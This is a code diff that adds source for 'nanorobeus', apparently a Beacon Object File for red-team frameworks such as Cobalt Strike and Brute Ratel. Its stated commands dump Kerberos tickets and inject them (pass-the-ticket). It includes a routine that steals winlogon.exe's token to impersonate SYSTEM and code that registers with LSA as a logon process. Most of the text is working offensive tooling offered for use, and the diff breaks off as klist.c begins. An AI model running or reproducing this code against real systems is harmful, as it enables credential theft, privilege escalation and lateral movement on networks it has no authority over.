"depends_on": "coff-loader",
|
||||
"entrypoint": "go",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "nanorobeus.x64.o"
|
||||
},
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "386",
|
||||
"path": "nanorobeus.x86.o"
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{
|
||||
"name": "command",
|
||||
"desc": "Command to execute (luid, sessions, klist, dump, ptt, purge, help)",
|
||||
"type": "string",
|
||||
"optional": false
|
||||
},
|
||||
{
|
||||
"name": "arg1",
|
||||
"desc": "arg1",
|
||||
"type": "string",
|
||||
"optional": true
|
||||
},
|
||||
{
|
||||
"name": "arg2",
|
||||
"desc": "arg2",
|
||||
"type": "string",
|
||||
"optional": true
|
||||
},
|
||||
{
|
||||
"name": "arg3",
|
||||
"desc": "arg3",
|
||||
"type": "string",
|
||||
"optional": true
|
||||
},
|
||||
{
|
||||
"name": "arg4",
|
||||
"desc": "arg4",
|
||||
"type": "string",
|
||||
"optional": true
|
||||
}
|
||||
]
|
||||
}
|
||||
+185
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
* Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_START@
|
||||
*
|
||||
* Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
* file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/* ====================================================================
|
||||
* Copyright (c) 1995-1999 The Apache Group. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* 3. All advertising materials mentioning features or use of this
|
||||
* software must display the following acknowledgment:
|
||||
* "This product includes software developed by the Apache Group
|
||||
* for use in the Apache HTTP server project (http://www.apache.org/)."
|
||||
*
|
||||
* 4. The names "Apache Server" and "Apache Group" must not be used to
|
||||
* endorse or promote products derived from this software without
|
||||
* prior written permission. For written permission, please contact
|
||||
* apache@apache.org.
|
||||
*
|
||||
* 5. Products derived from this software may not be called "Apache"
|
||||
* nor may "Apache" appear in their names without prior written
|
||||
* permission of the Apache Group.
|
||||
*
|
||||
* 6. Redistributions of any form whatsoever must retain the following
|
||||
* acknowledgment:
|
||||
* "This product includes software developed by the Apache Group
|
||||
* for use in the Apache HTTP server project (http://www.apache.org/)."
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
|
||||
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
|
||||
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
||||
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
||||
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
* ====================================================================
|
||||
*
|
||||
* This software consists of voluntary contributions made by many
|
||||
* individuals on behalf of the Apache Group and was originally based
|
||||
* on public domain software written at the National Center for
|
||||
* Supercomputing Applications, University of Illinois, Urbana-Champaign.
|
||||
* For more information on the Apache Group and the Apache HTTP server
|
||||
* project, please see <http://www.apache.org/>.
|
||||
*
|
||||
*/
|
||||
|
||||
/* Base64 encoder/decoder. Originally Apache file ap_base64.c
|
||||
*/
|
||||
|
||||
#include <string.h>
|
||||
|
||||
#include "base64.h"
|
||||
|
||||
/* aaaack but it's fast and const should make it shared text page. */
|
||||
static const unsigned char pr2six[256] = {
|
||||
/* ASCII table */
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
|
||||
64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
|
||||
22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
|
||||
45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64};
|
||||
|
||||
int Base64decode_len(const char* bufcoded) {
|
||||
int nbytesdecoded;
|
||||
const unsigned char* bufin;
|
||||
int nprbytes;
|
||||
|
||||
bufin = (const unsigned char*)bufcoded;
|
||||
while (pr2six[*(bufin++)] <= 63)
|
||||
;
|
||||
|
||||
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
|
||||
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
|
||||
|
||||
return nbytesdecoded + 1;
|
||||
}
|
||||
|
||||
int Base64decode(char* bufplain, const char* bufcoded) {
|
||||
int nbytesdecoded;
|
||||
const unsigned char* bufin;
|
||||
unsigned char* bufout;
|
||||
int nprbytes;
|
||||
|
||||
bufin = (const unsigned char*)bufcoded;
|
||||
while (pr2six[*(bufin++)] <= 63)
|
||||
;
|
||||
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
|
||||
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
|
||||
|
||||
bufout = (unsigned char*)bufplain;
|
||||
bufin = (const unsigned char*)bufcoded;
|
||||
|
||||
while (nprbytes > 4) {
|
||||
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
|
||||
bufin += 4;
|
||||
nprbytes -= 4;
|
||||
}
|
||||
|
||||
/* Note: (nprbytes == 1) would be an error, so just ingore that case */
|
||||
if (nprbytes > 1) {
|
||||
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
|
||||
}
|
||||
if (nprbytes > 2) {
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
|
||||
}
|
||||
if (nprbytes > 3) {
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
|
||||
}
|
||||
|
||||
*(bufout++) = '\0';
|
||||
nbytesdecoded -= (4 - nprbytes) & 3;
|
||||
return nbytesdecoded;
|
||||
}
|
||||
|
||||
static const char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int Base64encode_len(int len) { return ((len + 2) / 3 * 4) + 1; }
|
||||
|
||||
int Base64encode(char* encoded, const char* string, int len) {
|
||||
int i;
|
||||
char* p;
|
||||
|
||||
p = encoded;
|
||||
for (i = 0; i < len - 2; i += 3) {
|
||||
*p++ = basis_64[(string[i] >> 2) & 0x3F];
|
||||
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
|
||||
*p++ = basis_64[((string[i + 1] & 0xF) << 2) | ((int)(string[i + 2] & 0xC0) >> 6)];
|
||||
*p++ = basis_64[string[i + 2] & 0x3F];
|
||||
}
|
||||
if (i < len) {
|
||||
*p++ = basis_64[(string[i] >> 2) & 0x3F];
|
||||
if (i == (len - 1)) {
|
||||
*p++ = basis_64[((string[i] & 0x3) << 4)];
|
||||
*p++ = '=';
|
||||
} else {
|
||||
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
|
||||
*p++ = basis_64[((string[i + 1] & 0xF) << 2)];
|
||||
}
|
||||
*p++ = '=';
|
||||
}
|
||||
|
||||
*p++ = '\0';
|
||||
return p - encoded;
|
||||
}
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
#include "common.h"
|
||||
|
||||
HANDLE GetCurrentToken(DWORD DesiredAccess) {
|
||||
HANDLE hCurrentToken = NULL;
|
||||
if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken)) {
|
||||
if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) {
|
||||
if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken)) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return hCurrentToken;
|
||||
}
|
||||
|
||||
char* GetEncryptionTypeString(LONG encType) {
|
||||
char* encTypeStr = NULL;
|
||||
switch (encType) {
|
||||
case DES_CBC_CRC:
|
||||
encTypeStr = "DES_CBC_CRC";
|
||||
break;
|
||||
case DES_CBC_MD4:
|
||||
encTypeStr = "DES_CBC_MD4";
|
||||
break;
|
||||
case DES_CBC_MD5:
|
||||
encTypeStr = "DES_CBC_MD5";
|
||||
break;
|
||||
case DES3_CBC_MD5:
|
||||
encTypeStr = "DES3_CBC_MD5";
|
||||
break;
|
||||
case DES3_CBC_SHA1:
|
||||
encTypeStr = "DES3_CBC_SHA1";
|
||||
break;
|
||||
case DSAWITHSHA1_CMSOID:
|
||||
encTypeStr = "DSAWITHSHA1_CMSOID";
|
||||
break;
|
||||
case MD5WITHRSAENCRYPTION_CMSOID:
|
||||
encTypeStr = "MD5WITHRSAENCRYPTION_CMSOID";
|
||||
break;
|
||||
case SHA1WITHRSAENCRYPTION_CMSOID:
|
||||
encTypeStr = "SHA1WITHRSAENCRYPTION_CMSOID";
|
||||
break;
|
||||
case RC2CBC_ENVOID:
|
||||
encTypeStr = "RC2CBC_ENVOID";
|
||||
break;
|
||||
case RSAENCRYPTION_ENVOID:
|
||||
encTypeStr = "RSAENCRYPTION_ENVOID";
|
||||
break;
|
||||
case RSAES_OAEP_ENV_OID:
|
||||
encTypeStr = "RSAES_OAEP_ENV_OID";
|
||||
break;
|
||||
case DES3_CBC_SHA1_KD:
|
||||
encTypeStr = "DES3_CBC_SHA1_KD";
|
||||
break;
|
||||
case AES128_CTS_HMAC_SHA1:
|
||||
encTypeStr = "AES128_CTS_HMAC_SHA1";
|
||||
break;
|
||||
case AES256_CTS_HMAC_SHA1:
|
||||
encTypeStr = "AES256_CTS_HMAC_SHA1";
|
||||
break;
|
||||
case RC4_HMAC:
|
||||
encTypeStr = "RC4_HMAC";
|
||||
break;
|
||||
case RC4_HMAC_EXP:
|
||||
encTypeStr = "RC4_HMAC_EXP";
|
||||
break;
|
||||
case SUBKEY_KEYMATERIAL:
|
||||
encTypeStr = "SUBKEY_KEYMATERIAL";
|
||||
break;
|
||||
case OLD_EXP:
|
||||
encTypeStr = "OLD_EXP";
|
||||
break;
|
||||
default:
|
||||
encTypeStr = "<unknown>";
|
||||
break;
|
||||
}
|
||||
return encTypeStr;
|
||||
}
|
||||
|
||||
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
|
||||
FILETIME ft;
|
||||
SYSTEMTIME st_utc;
|
||||
ft.dwHighDateTime = li.HighPart;
|
||||
ft.dwLowDateTime = li.LowPart;
|
||||
KERNEL32$FileTimeToSystemTime(&ft, &st_utc);
|
||||
return st_utc;
|
||||
}
|
||||
|
||||
BOOL IsHighIntegrity(HANDLE TokenHandle) {
|
||||
TOKEN_ELEVATION elevation;
|
||||
DWORD dwSize;
|
||||
|
||||
if (ADVAPI32$GetTokenInformation(TokenHandle, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
|
||||
return elevation.TokenIsElevated;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL IsSystem(HANDLE TokenHandle) {
|
||||
HANDLE hToken = NULL;
|
||||
UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];
|
||||
PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;
|
||||
ULONG cbTokenUser;
|
||||
SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid;
|
||||
BOOL bSystem;
|
||||
|
||||
if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid))
|
||||
return FALSE;
|
||||
|
||||
bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);
|
||||
ADVAPI32$FreeSid(pSystemSid);
|
||||
return bSystem;
|
||||
}
|
||||
|
||||
NTSTATUS GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {
|
||||
HANDLE hLsaLocal;
|
||||
LSA_OPERATIONAL_MODE mode = 0;
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
if (!highIntegrity) {
|
||||
status = SECUR32$LsaConnectUntrusted(&hLsaLocal);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
// AuditPol.exe /set /subcategory:"Security System Extension"
|
||||
// /success:enable /failure:enable Event ID 4611 Note: detect elevation via
|
||||
// winlogon.exe.
|
||||
char* name = "Winlogon";
|
||||
STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
|
||||
SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
|
||||
if (hLsaLocal == NULL) {
|
||||
if (IsSystem(hToken)) {
|
||||
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
hToken = GetCurrentToken(TOKEN_ADJUST_PRIVILEGES);
|
||||
if (hToken != NULL) {
|
||||
if (ElevateToSystem()) {
|
||||
status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
ADVAPI32$RevertToSelf();
|
||||
} else {
|
||||
status = KERNEL32$GetLastError();
|
||||
}
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
} else {
|
||||
status = KERNEL32$GetLastError();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
*hLsa = hLsaLocal;
|
||||
return status;
|
||||
}
|
||||
|
||||
int GetProcessIdByName(WCHAR* processName) {
|
||||
HANDLE hProcessSnap;
|
||||
PROCESSENTRY32W pe32;
|
||||
int pid = -1;
|
||||
|
||||
hProcessSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
return pid;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
||||
if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) {
|
||||
KERNEL32$CloseHandle(hProcessSnap);
|
||||
return pid;
|
||||
}
|
||||
|
||||
do {
|
||||
WCHAR* procName = pe32.szExeFile;
|
||||
if (MSVCRT$wcscmp(procName, processName) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
|
||||
} while (KERNEL32$Process32NextW(hProcessSnap, &pe32));
|
||||
KERNEL32$CloseHandle(hProcessSnap);
|
||||
return pid;
|
||||
}
|
||||
|
||||
BOOL ElevateToSystem() {
|
||||
int pid = GetProcessIdByName(L"winlogon.exe");
|
||||
if (pid == -1) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL res = FALSE;
|
||||
HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (hProcess != NULL) {
|
||||
HANDLE hDupToken;
|
||||
HANDLE hToken;
|
||||
if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
|
||||
if (hToken != NULL) {
|
||||
if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) {
|
||||
if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) {
|
||||
res = TRUE;
|
||||
}
|
||||
KERNEL32$CloseHandle(hDupToken);
|
||||
}
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
KERNEL32$CloseHandle(hProcess);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL
|
||||
// bEnablePrivilege)
|
||||
// {
|
||||
// TOKEN_PRIVILEGES tp;
|
||||
// LUID luid;
|
||||
|
||||
// if (!ADVAPI32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid))
|
||||
// {
|
||||
// return FALSE;
|
||||
// }
|
||||
|
||||
// tp.PrivilegeCount = 1;
|
||||
// tp.Privileges[0].Luid = luid;
|
||||
// if (bEnablePrivilege)
|
||||
// {
|
||||
// tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// tp.Privileges[0].Attributes = 0;
|
||||
// }
|
||||
|
||||
// if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp,
|
||||
// sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
// {
|
||||
// return FALSE;
|
||||
// }
|
||||
|
||||
// if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||||
// {
|
||||
// return FALSE;
|
||||
// }
|
||||
|
||||
// return TRUE;
|
||||
// }
|
||||
|
||||
char* GetNarrowStringFromUnicode(UNICODE_STRING src) {
|
||||
int len = src.Length / sizeof(WCHAR);
|
||||
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
|
||||
MSVCRT$wcstombs(dest, src.Buffer, len);
|
||||
dest[len] = '\0';
|
||||
return dest;
|
||||
}
|
||||
|
||||
char* GetNarrowString(WCHAR* src) {
|
||||
int len = MSVCRT$wcslen(src);
|
||||
char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
|
||||
MSVCRT$wcstombs(dest, src, len);
|
||||
dest[len] = '\0';
|
||||
return dest;
|
||||
}
|
||||
+221
@@ -0,0 +1,221 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "beacon.h"
|
||||
#include "bofdefs.h"
|
||||
|
||||
#if defined(BOF) || defined(BRC4)
|
||||
#include "common.c"
|
||||
#include "luid.c"
|
||||
#include "sessions.c"
|
||||
#include "purge.c"
|
||||
#include "klist.c"
|
||||
#include "base64.c"
|
||||
#include "ptt.c"
|
||||
#else
|
||||
#include "common.h"
|
||||
#include "luid.h"
|
||||
#include "sessions.h"
|
||||
#include "purge.h"
|
||||
#include "klist.h"
|
||||
#include "base64.h"
|
||||
#include "ptt.h"
|
||||
#endif
|
||||
|
||||
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4);
|
||||
|
||||
#ifdef BOF
|
||||
|
||||
void go(char* args, int length) {
|
||||
datap parser;
|
||||
BeaconDataParse(&parser, args, length);
|
||||
char* command = BeaconDataExtract(&parser, NULL);
|
||||
if (command == NULL) {
|
||||
command = "";
|
||||
}
|
||||
char* arg1 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg1 == NULL) {
|
||||
arg1 = "";
|
||||
}
|
||||
char* arg2 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg2 == NULL) {
|
||||
arg2 = "";
|
||||
}
|
||||
char* arg3 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg3 == NULL) {
|
||||
arg3 = "";
|
||||
}
|
||||
char* arg4 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg4 == NULL) {
|
||||
arg4 = "";
|
||||
}
|
||||
execute(NULL, command, arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
#elif BRC4
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
|
||||
if (argc >= 1) {
|
||||
command = argv[0];
|
||||
}
|
||||
if (argc >= 2) {
|
||||
arg1 = argv[1];
|
||||
}
|
||||
if (argc >= 3) {
|
||||
arg2 = argv[2];
|
||||
}
|
||||
if (argc >= 4) {
|
||||
arg3 = argv[3];
|
||||
}
|
||||
if (argc >= 5) {
|
||||
arg4 = argv[4];
|
||||
}
|
||||
execute(dispatch, command, arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
|
||||
if (argc >= 2) {
|
||||
command = argv[1];
|
||||
}
|
||||
if (argc >= 3) {
|
||||
arg1 = argv[2];
|
||||
}
|
||||
if (argc >= 4) {
|
||||
arg2 = argv[3];
|
||||
}
|
||||
if (argc >= 5) {
|
||||
arg3 = argv[4];
|
||||
}
|
||||
if (argc >= 6) {
|
||||
arg4 = argv[5];
|
||||
}
|
||||
execute(NULL, command, arg1, arg2, arg3, arg4);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4) {
|
||||
if (MSVCRT$strcmp(command, "") == 0) {
|
||||
PRINT(dispatch, "[!] Specify command.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
LUID luid = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
BOOL currentLuid = FALSE;
|
||||
HANDLE hToken = GetCurrentToken(TOKEN_QUERY);
|
||||
if (hToken == NULL) {
|
||||
PRINT(dispatch, "[!] Unable to query current token: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
if (MSVCRT$strcmp(command, "luid") == 0) {
|
||||
execute_luid(dispatch, hToken);
|
||||
} else if ((MSVCRT$strcmp(command, "sessions") == 0) || (MSVCRT$strcmp(command, "klist") == 0) ||
|
||||
(MSVCRT$strcmp(command, "dump") == 0)) {
|
||||
if (MSVCRT$strcmp(arg1, "") != 0) {
|
||||
if (MSVCRT$strcmp(arg1, "/luid") == 0) {
|
||||
if (arg2 != NULL) {
|
||||
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
|
||||
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
|
||||
PRINT(dispatch, "[!] Specify valid /luid\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify /luid argument\n");
|
||||
return;
|
||||
}
|
||||
} else if (MSVCRT$strcmp(arg1, "/all") == 0) {
|
||||
luid = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Unknown command\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
LUID* cLuid = GetCurrentLUID(hToken);
|
||||
if (cLuid == NULL) {
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
luid = *cLuid;
|
||||
currentLuid = TRUE;
|
||||
}
|
||||
|
||||
if (MSVCRT$strcmp(command, "sessions") == 0) {
|
||||
execute_sessions(dispatch, hToken, luid, currentLuid);
|
||||
} else if (MSVCRT$strcmp(command, "klist") == 0) {
|
||||
execute_klist(dispatch, hToken, luid, currentLuid, FALSE);
|
||||
} else {
|
||||
execute_klist(dispatch, hToken, luid, currentLuid, TRUE);
|
||||
}
|
||||
} else if (MSVCRT$strcmp(command, "ptt") == 0) {
|
||||
char* ticket;
|
||||
if (MSVCRT$strcmp(arg1, "") != 0) {
|
||||
ticket = arg1;
|
||||
if (MSVCRT$strcmp(arg2, "") != 0) {
|
||||
if (MSVCRT$strcmp(arg2, "/luid") == 0) {
|
||||
if (MSVCRT$strcmp(arg3, "") != 0) {
|
||||
luid.LowPart = MSVCRT$strtol(arg3, NULL, 16);
|
||||
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
|
||||
PRINT(dispatch, "[!] Specify valid /luid\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
LUID* cLuid = GetCurrentLUID(hToken);
|
||||
if (cLuid == NULL) {
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
luid = *cLuid;
|
||||
currentLuid = TRUE;
|
||||
}
|
||||
execute_ptt(dispatch, hToken, ticket, luid, currentLuid);
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify Base64 encoded ticket\n");
|
||||
return;
|
||||
}
|
||||
} else if (MSVCRT$strcmp(command, "purge") == 0) {
|
||||
if (MSVCRT$strcmp(arg1, "") != 0) {
|
||||
if (MSVCRT$strcmp(arg1, "/luid") == 0) {
|
||||
if (MSVCRT$strcmp(arg2, "") != 0) {
|
||||
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
|
||||
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
|
||||
PRINT(dispatch, "[!] Specify valid /luid\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify /luid argument\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Unknown command\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
LUID* cLuid = GetCurrentLUID(hToken);
|
||||
if (cLuid == NULL) {
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
luid = *cLuid;
|
||||
currentLuid = TRUE;
|
||||
}
|
||||
execute_purge(dispatch, hToken, luid, currentLuid);
|
||||
} else if (MSVCRT$strcmp(command, "help") == 0) {
|
||||
PRINT(dispatch, "[*] nanorobeus 0.0.1\n[*] Command list:\n");
|
||||
PRINT(dispatch, "\tluid\n");
|
||||
PRINT(dispatch, "\tsessions [/luid <0x0> | /all]\n");
|
||||
PRINT(dispatch, "\tklist [/luid <0x0> | /all]\n");
|
||||
PRINT(dispatch, "\tdump [/luid <0x0> | /all]\n");
|
||||
PRINT(dispatch, "\tptt <BASE64> [/luid <0x0>]\n");
|
||||
PRINT(dispatch, "\tpurge [/luid <0x0>]\n");
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Unknown command.\n");
|
||||
}
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
#include "klist.h"
|
||||
|
||||
void execute_klist(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid, BOOL dump) {
|
||||
